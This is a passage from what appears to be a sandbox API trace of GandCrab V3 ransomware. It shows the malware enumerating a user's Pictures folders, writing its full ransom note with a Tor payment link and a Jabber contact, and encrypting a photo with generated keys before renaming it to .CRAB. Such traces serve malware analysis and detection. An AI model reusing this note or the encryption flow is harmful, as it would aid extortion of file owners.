conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.124] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0133.124] CloseHandle (hObject=0x3e8) returned 1
	[0133.125] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.125] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned 43
	[0133.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*"
	[0133.125] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320df10
	[0133.125] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0133.125] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.125] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0133.125] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0133.125] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.125] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0133.125] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt"
	[0133.125] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.126] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt") returned 59
	[0133.126] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt") returned 59
	[0133.126] lstrlenW (lpString=".txt") returned 4
	[0133.126] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.126] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.126] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.126] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt") returned 59
	[0133.126] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\CRAB-DECRYPT.txt") returned 59
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.127] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.127] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.127] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.127] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0133.127] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0133.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini"
	[0133.127] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.128] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini") returned 54
	[0133.128] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini") returned 54
	[0133.128] lstrlenW (lpString=".ini") returned 4
	[0133.128] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.128] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0133.128] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.128] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini") returned 54
	[0133.128] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\desktop.ini") returned 54
	[0133.128] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0133.128] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.129] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0133.129] FindClose (in: hFindFile=0x320df10 | out: hFindFile=0x320df10) returned 1
	[0133.129] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.129] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0133.129] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.129] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt"
	[0133.129] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.129] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt") returned 47
	[0133.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt") returned 47
	[0133.129] lstrlenW (lpString=".txt") returned 4
	[0133.129] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.130] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.130] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.130] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt") returned 47
	[0133.130] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CRAB-DECRYPT.txt") returned 47
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.130] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.131] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.131] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.131] lstrcmpW (lpString1="D3N6CHyyJgR", lpString2=".") returned 1
	[0133.131] lstrcmpW (lpString1="D3N6CHyyJgR", lpString2="..") returned 1
	[0133.131] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="D3N6CHyyJgR" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR"
	[0133.131] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\"
	[0133.131] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.131] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.131] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.131] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.131] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.131] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.132] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.132] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.132] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.132] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.132] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.132] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.132] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.132] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\\\CRAB-DECRYPT.txt") returned 60
	[0133.132] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.133] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.133] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0133.134] CloseHandle (hObject=0x3e8) returned 1
	[0133.134] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.134] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\") returned 43
	[0133.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\*"
	[0133.134] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320df10
	[0133.134] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0133.135] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.135] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0133.135] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0133.135] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.135] lstrcmpW (lpString1="bX3h27atuLJaX.jpg", lpString2=".") returned 1
	[0133.135] lstrcmpW (lpString1="bX3h27atuLJaX.jpg", lpString2="..") returned 1
	[0133.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="bX3h27atuLJaX.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg"
	[0133.135] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.135] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg") returned 60
	[0133.135] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg") returned 60
	[0133.135] lstrlenW (lpString=".jpg") returned 4
	[0133.135] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.136] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0133.136] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.136] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg") returned 60
	[0133.136] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg") returned 60
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="desktop.ini") returned -1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="autorun.inf") returned 1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="ntuser.dat") returned -1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="iconcache.db") returned -1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="bootsect.bak") returned 1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="boot.ini") returned 1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="ntuser.dat.log") returned -1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="thumbs.db") returned -1
	[0133.136] lstrcmpiW (lpString1="bX3h27atuLJaX.jpg", lpString2="CRAB-DECRYPT.txt") returned -1
	[0133.136] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.137] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB") returned 65
	[0133.137] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\bx3h27atuljax.jpg")) returned 0x20
	[0133.137] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg", dwFileAttributes=0x20) returned 1
	[0133.137] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\bx3h27atuljax.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\bx3h27atuljax.jpg.crab")) returned 1
	[0133.138] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.138] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB"
	[0133.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB.CRAB"
	[0133.139] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.140] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.140] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.141] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.141] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.141] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.141] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.142] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.143] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.143] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.143] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.143] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.143] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.143] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.144] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.145] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f090) returned 1
	[0133.145] CryptGetKeyParam (in: hKey=0x320f090, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.145] CryptEncrypt (in: hKey=0x320f090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.145] GetLastError () returned 0x0
	[0133.145] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.145] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.147] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f550) returned 1
	[0133.147] CryptGetKeyParam (in: hKey=0x320f550, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.147] CryptEncrypt (in: hKey=0x320f550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.147] GetLastError () returned 0x0
	[0133.147] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.147] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\bX3h27atuLJaX.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\bx3h27atuljax.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.148] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.148] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.148] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x142bf, lpOverlapped=0x0) returned 1
	[0133.178] VirtualAlloc (lpAddress=0x0, dwSize=0x142c0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.179] VirtualAlloc (lpAddress=0x0, dwSize=0x142c0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.182] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.182] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffebd41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.182] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x142c0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x142c0, lpOverlapped=0x0) returned 1
	[0133.183] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.183] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.190] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.190] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.191] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.191] CloseHandle (hObject=0x3ec) returned 1
	[0133.191] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.191] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.191] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.192] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.192] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.192] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.192] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.192] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
